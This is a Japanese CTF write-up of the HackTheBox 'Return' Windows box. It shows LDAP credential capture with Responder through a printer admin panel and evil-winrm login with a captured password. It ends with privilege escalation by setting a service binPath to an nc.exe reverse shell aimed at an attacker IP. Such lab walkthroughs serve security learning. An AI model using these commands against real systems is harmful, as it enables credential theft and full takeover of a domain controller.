🥝

【HackTheBox】Return Writeup

2024/02/01に公開

Recon

port scan

nmap -Pn 10.10.11.108 -p 53,80,389,445,464,593,636,3268,3269 -sVC

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 18m41s
| smb2-time: 
|   date: 2024-01-31T15:37:40
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

開いているポートの情報はこんな感じです。

LDAP

nmapのスクリプトを実行してみます。

nmap -Pn 10.10.11.108 -p 389 --script "ldap* and not brute"

PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=return,DC=local
|       ldapServiceName: return.local:printer$@RETURN.LOCAL
<SNIP>

domain名はreturn.localです。

SMB

null sessionで接続してみます。anonymous login successfulと書いてあったが、shareの情報はなかったです。

┌──(kali㉿kali)-[~]
└─$ smbclient -N -L \\\\10.10.11.108
Anonymous login successful

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.108 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

HTTP

ウェブサイトはプリンターのadmin panelみたいです。
settings.phpではサーバーコネクションの設定フォームがあります。

リクエストを見ると、変更できるのはipだけでした。
ipをattack boxの値に変えて接続するとプリンターからLDAP serverのcredentialsがもらえるかもしれません。やってみます。

responderを起動して、ネットワークをモニタリングします。

sudo responder -I tun0

フォームをsubmitするとresponderに認証情報が来ました。

Shell as printer-svc

port 5985が開いていたので(上のnmap outputでは省略していますが)、evil-winrmでシェルを取ってみます。

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i 10.10.11.108 -u svc-printer -p "1edFg43012\!\!"

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
*Evil-WinRM* PS C:\Users\svc-printer\Documents> ls ../Desktop

    Directory: C:\Users\svc-printer\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        1/31/2024   7:35 AM             34 user.txt

userフラグゲットできました!

group information

ユーザーの情報をみてみます。

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami /groups

GROUP INFORMATION
-----------------
Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators                   Alias            S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators                    Alias            S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288

なかなか強い権限を持っていますね。
Server OperatorsとPrint Operatorsグループは権限昇格に使えそうです。

abuse server operators group privilege

Server Operatorsグループに入っているユーザーはSeBackupPrivilege、SeRestorePrivilege、そしてサービスを制御する権限を持っています。
サービスをストップ→サービスのbinary pathを実行したいコマンドに設定する→サービス再起動、これでadministratorのシェルが取れるはずなのでやってみます。

まずはnc.exeをアップロードします。

*Evil-WinRM* PS C:\ProgramData\temp> upload /kali/home/wintools/nc.exe

サービスの一覧を出します。

*Evil-WinRM* PS C:\ProgramData\temp> services

Path                                                                              Privileges Service          
----                                                                              ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                         True       ADWS             
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                     True       NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                  True       PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"        False      Sense            
C:\Windows\servicing\TrustedInstaller.exe                                         False      TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"            True       VGAuthService    
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                               True       VMTools          
"C:\WINDOWS\system32\vssvc.exe"                                                   True       VSS              
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"    True       WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"   True       WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                              False      WMPNetworkSvc 

適当に選びます。nc listenerも起動します。

*Evil-WinRM* PS C:\ProgramData\temp> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
*Evil-WinRM* PS C:\ProgramData\temp> sc.exe config VMTools binPath="C:\ProgramData\temp\nc.exe -e cmd.exe 10.10.14.7 1234"
[SC] ChangeServiceConfig SUCCESS
*Evil-WinRM* PS C:\ProgramData\temp> sc.exe start VMTools

Shell as root

listenerの方にrev shellが届きました。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1234                

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\Desktop\root.txt

rootフラグゲットできました。

Memo

windows boxデビューしました!Active Directoryに詳しくなりたいです。

Discussion